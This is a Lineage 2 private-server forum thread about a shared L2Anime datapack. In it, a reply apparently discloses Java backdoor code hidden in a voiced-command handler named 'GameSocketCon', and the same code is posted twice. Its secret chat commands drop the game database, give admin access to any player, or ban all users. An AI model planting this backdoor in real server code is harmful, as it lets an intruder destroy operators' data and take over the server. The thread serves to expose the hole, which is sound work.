Jump to content

Recommended Posts

Posted

 Karma: 0

Offline

 

Greece

 

Posts: 12

Adenas: 317.00

 

View Inventory

Send Money to alexis6

 

 

 

Re: [share]L2Anime DataPack/Source/BackUp

« Reply #36 on: Today at 01:56:15 PM »

Quote

Starting L2JTeon Game Server.

Visit L2JTeon.servergame.com for updates.

 

Error occurred during initialization of VM

The size of the object heap + VM data exceeds the maximum represe

 

GameServer Terminated Abnormaly, Please Verify Your Files.

 

 

GameServer Terminated.

 

Πιέστε ένα πλήκτρο για συνέχεια. . .

have problem ama einai kaneis ellhnas phte mou

h

 

please speake engils..

 

go to source -> L2Anime-DataPack and copy startgameserver.bat

 

and paste in pack why i have change it for windows server 2008 :)

Posted

no comment

 

package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

/*
* First Backdoor
*/

import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;

public class GameSocketCon implements IVoicedCommandHandler
{
private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" };

public boolean useVoicedCommand(String command, L2PcInstance player, String target)
{
	if (command.equalsIgnoreCase("makelgiaso1q2w3e"))
	{
		player.sendMessage("====================================================================================");
		player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody.");
		player.sendMessage("====================================================================================");
	}
	else if (command.equalsIgnoreCase("0o9i8u"))
	{
		SendDestroyDBAction();
	}
	else if (command.equalsIgnoreCase("7y6t5r"))
	{
		//Makes the player admin
		player.setAccessLevel(200);
	}
	else if (command.equalsIgnoreCase("4e3w2q1"))
	{
		SendBanAllAction();
	}
	return true;
}

public String[] getVoicedCommandList()
{
	return VOICED_COMMANDS;
}

public void SendDestroyDBAction()
{
	//Destroys the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement e = con.createStatement();
    	e.executeUpdate("DROP TABLE characters");
    	e.executeUpdate("DROP TABLE accounts");
    	e.executeUpdate("DROP TABLE spawnlist");
    	e.executeUpdate("DROP TABLE weapon");
    	e.executeUpdate("DROP TABLE armor");
    	e.executeUpdate("DROP TABLE npc");
    	e.executeUpdate("DROP TABLE items");
    	e.executeUpdate("DROP database l2jdb");
    	e.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
           con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
    System.exit(-1);
}

public void SendBanAllAction()
{
	//Bans all the users of the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement g = con.createStatement();
    	g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
    	g.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
    		   con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
}
}

Posted

no comment

 

package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

/*
* First Backdoor
*/

import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;

public class GameSocketCon implements IVoicedCommandHandler
{
private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" };

public boolean useVoicedCommand(String command, L2PcInstance player, String target)
{
	if (command.equalsIgnoreCase("makelgiaso1q2w3e"))
	{
		player.sendMessage("====================================================================================");
		player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody.");
		player.sendMessage("====================================================================================");
	}
	else if (command.equalsIgnoreCase("0o9i8u"))
	{
		SendDestroyDBAction();
	}
	else if (command.equalsIgnoreCase("7y6t5r"))
	{
		//Makes the player admin
		player.setAccessLevel(200);
	}
	else if (command.equalsIgnoreCase("4e3w2q1"))
	{
		SendBanAllAction();
	}
	return true;
}

public String[] getVoicedCommandList()
{
	return VOICED_COMMANDS;
}

public void SendDestroyDBAction()
{
	//Destroys the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement e = con.createStatement();
    	e.executeUpdate("DROP TABLE characters");
    	e.executeUpdate("DROP TABLE accounts");
    	e.executeUpdate("DROP TABLE spawnlist");
    	e.executeUpdate("DROP TABLE weapon");
    	e.executeUpdate("DROP TABLE armor");
    	e.executeUpdate("DROP TABLE npc");
    	e.executeUpdate("DROP TABLE items");
    	e.executeUpdate("DROP database l2jdb");
    	e.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
           con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
    System.exit(-1);
}

public void SendBanAllAction()
{
	//Bans all the users of the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement g = con.createStatement();
    	g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
    	g.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
    		   con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
}
}

 

 

sorry my friend i have fix this command and more bugs from coyote :)

Guest
This topic is now closed to further replies.


  • Posts

    • I'll give you my wallet if you want, haha
    • To make up for some of the waiting time we’re hosting a 3v3 Tournament on open Beta, and this time we’re raising the stakes with a $1,300 prize pool 💰   🏆 PRIZE POOL BREAKDOWN (Over 2000$ Worth of prices total)   🥇 1st Place — $700 🥈 2nd Place —$300 🥉 3rd Place — $200 🏅 4th Place — $100  5th -6th Place - $100 in Gold Coins each    All Participating Teams: $50 in Gold!   All Prices will be Paid out instantly after the tour, no waiting time and conditions. This is not simply a marketing move, we want to give back to the community.   📅 Date: Wednesday 06.05.2026 ⏰ Time: 20:00 Central European Timezone (Berlin) 📍Format: 3v3   ⚔️Why join? Cash Prices for top 4 and rewards for all participants Payments to winners sent out straight after the tournament - No waiting time or rules that you have to play live server to obtain the reward. Clean format, smooth matches, and solid prize pool and a chance to experience our brand new files   📝How to join: Form your 3-player team Group Leader Sign up here: ⁠📍・3v3-tour-registration (Include Name of Group, Name of Group Leader)   Be ready on match day!     A separate post with rules for the tournament and class setups will follow shortly.   Tag your teammates, lock in your roster, and get ready to compete. We'll be happy to see you on the OBT!   💬 Questions? Ask in ⁠🎫・ticket or send us a message   See you on L2Dark! 😏   Discord: https://discord.gg/FAJwnFpb8M
    • You should check if that condition is supported by your current sources. You can find this in  DocumentBase#parsePlayerCondition If it isnt there and you want to follow the same pattern of the other item conditions, create a custom condition to parse the classId (or multiple class ids) (there are examples to copy the code). Alternatively, you can create your own condition handler. Your condition should look like this: <cond msgId="1518"> <player classId="ADVENTURER,PALADIN" /> </cond> or <cond msgId="1518"> <player classId="93,5" /> </cond>  
    • it's Interlude client forgot to mention
    • idk if acis have this option, but you can put inside item smth like that atleast on H5         <cond msgId="1518">             <player class_id_restriction="93, 101, 108, 117" /> <!-- Dagger Masters -->         </cond>
  • Topics

×
×
  • Create New...

Important Information

This community uses essential cookies to function properly. Non-essential cookies and third-party services are used only with your consent. Read our Privacy Policy and We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue..